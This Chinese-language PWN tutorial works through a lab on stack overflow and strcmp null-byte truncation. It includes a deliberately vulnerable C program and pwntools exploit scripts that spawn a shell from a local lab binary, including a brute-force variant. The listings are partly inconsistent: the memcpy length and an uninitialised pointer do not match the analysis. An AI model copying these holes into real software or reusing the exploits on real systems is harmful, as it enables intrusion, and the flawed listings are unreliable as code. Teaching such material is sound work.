%%本节前置:Stack-1-1%%
在上一节中我们接触了我们PWN方向学习的第一个漏洞——栈溢出。体会了缓冲区溢出—栈溢出的一个基本思想:覆写Overwrite。借由Lab-s-1-1我们第一次完成了我们的二进制漏洞利用。本节我们将讲解上一节的作业:Lab-s-1-2,借此深入理解栈溢出的各种形式以及覆写思想的应用。
Source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int vertify(char *password)
{
char* PASSWORD;
FILE* stream = fopen("/dev/urandom", "r");
fgets(PASSWORD, 64, stream);
char buf[7];
memcpy(buf, password, 0xc);
int authenitcated = strcmp(password, PASSWORD);
return authenitcated;
}
void main()
{
int valid_flag = 0;
char password[1024];
scanf("%s", password);
valid_flag = vertify(password);
if(valid_flag == 0)
{
printf("Welcome to the system!\n");
system("/bin/sh");
}
else
{
printf("Invalid password!\n");
}
getchar();
}
用下面的命令编译
gcc -no-pie -fno-stack-protector -z lazy Lab-s-1-2.c -o Lab-s-1-2
编译好后,我们来简单分析一下程序流程。
void main()
{
int valid_flag = 0;
char password[1024];
scanf("%s", password);
valid_flag = vertify(password);
if(valid_flag == 0)
{
printf("Welcome to the system!\n");
system("/bin/sh");
}
else
{
printf("Invalid password!\n");
}
getchar();
}
main
函数中
- 定义两个变量
valid_flag
用于检查密码正确性;password
是scanf
读入的缓冲区变量。 - 调用
scanf
向password
中读入数据 - 将
vertify
的返回值赋予valid_flag
- 检查
valid_flag
,不为0输出不合法,为0则调用shell
int vertify(char *password)
{
char* PASSWORD;
FILE* stream = fopen("/dev/urandom", "r");
fgets(PASSWORD, 64, stream);
char buf[7];
memcpy(buf, password, 1024);
int authenitcated = strcmp(password, PASSWORD);
return authenitcated;
}
vertify
函数中
- 传入
password
变量 - 定义了一个用于比对的
PASSWORD
- 定义了一个文件流用于把生成的随机数用
fgets
放入PASSWORD
中
/dev/urandom
是一个伪随机数生成器,内置一个熵池用于记录当前设备的熵,再根据其生成随机数种子。可以近似看作真随机数
- 定义缓冲区变量
buf
- 将
password
中的数据复制到buf
上,不检查长度 - 将
strcmp
比对两数据的返回值传入authenitcated
再返回。
很明显的,在
memcpy(buf, password, 0xc);
存在栈溢出漏洞。我们读入的password
足足有0xc
长,远比buf
要大。根据我们在Lab-s-1-1
中的解题思路。只需要栈溢出覆写PASSWORD
为password
的相同内容即可。问题来了,我们要如何构造Payload使得PASSWORD
和password
相同呢?似乎是不可能的。栈溢出覆写的PASSWORD
是password
的一部分,看起来我们无论怎样构造字符串都不能使得PASSWORD
和password
相同。
在这里我们要了解到一个小知识点。
有以下示例
#include <stdio.h>
#include <string.h>
int main()
{
char *a = "\x00\x11\x22";
char *b = "\x00\x12\x23";
int c;
c = strcmp(a,b);
printf("%d", c);
return 0;
}
编译后执行结果
❯ ./test
0
到这里你可能已经猜到了。
在我们定义的变量中a
和b
显然是两个不同的字符串,为什么strcmp
会返回0
认为它们相同呢?这是因为strcmp
在比较字符串时,遇到\x00
会截断字符串,不会再比较后续的内容。利用这个特性,我们可以让password
和PASSWORD
被strcmp
判定为相等。哪怕它们实际上并不相等。
于是我们可以构造出Payload
payload = b'\x00' + cyclic(0xb) + b'\x00'
或全部覆盖为\x00
也可
payload = b'\x00' * (0x1b - 0x10)
具体的栈结构在IDA中如下
-000000000000001B dest db 7 dup(?) ; buf
-0000000000000014 var_14 dd ?
-0000000000000010 s dq ? ; authenitcated
-0000000000000008 stream dq ? ; offset
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
那么我们可以给出本实验的EXP如下
from pwn import *
io = process("./Lab-s-1-2")
payload = b'\x00' * (0x1b - 0x10)
io.sendline(payload)
io.interactive()
结果
python Exp-lab-s-1-2.py
[+] Starting local process './Lab-s-1-2': pid 92870
[*] Switching to interactive mode
Welcome to the system!
$ ls
Exp-Lab-s-1-1.py Lab-s-1-1 Lab-s-1-2 Ponce.cfg test.c
Exp-lab-s-1-2.py Lab-s-1-1.c Lab-s-1-2.c test
实际上,本实验不需要使用栈溢出漏洞也能绕过检测。还是我们刚刚提到的strcmp
的特性。我们知道urandom
会生产一串随机数,那么我们只需要随机到一种PASSWORD
以\x00
开头即可。我们可以用脚本来爆破这种情况。
from pwn import *
while True:
io = process("./Lab-s-1-2")
payload = b'\x00'
io.sendline(payload)
check = io.recvline()
if b"Invalid password!" not in check:
io.interactive()
break
else:
io.close()
结果:
❯ python Exp-lab-s-1-2.py
[+] Starting local process './Lab-s-1-2': pid 95041
[*] Process './Lab-s-1-2' stopped with exit code 10 (pid 95041)
[+] Starting local process './Lab-s-1-2': pid 95043
[*] Process './Lab-s-1-2' stopped with exit code 10 (pid 95043)
[+] Starting local process './Lab-s-1-2': pid 95045
[*] Switching to interactive mode
$ ls
Exp-Lab-s-1-1.py Lab-s-1-1 Lab-s-1-2 Ponce.cfg test.c
Exp-lab-s-1-2.py Lab-s-1-1.c Lab-s-1-2.c test
$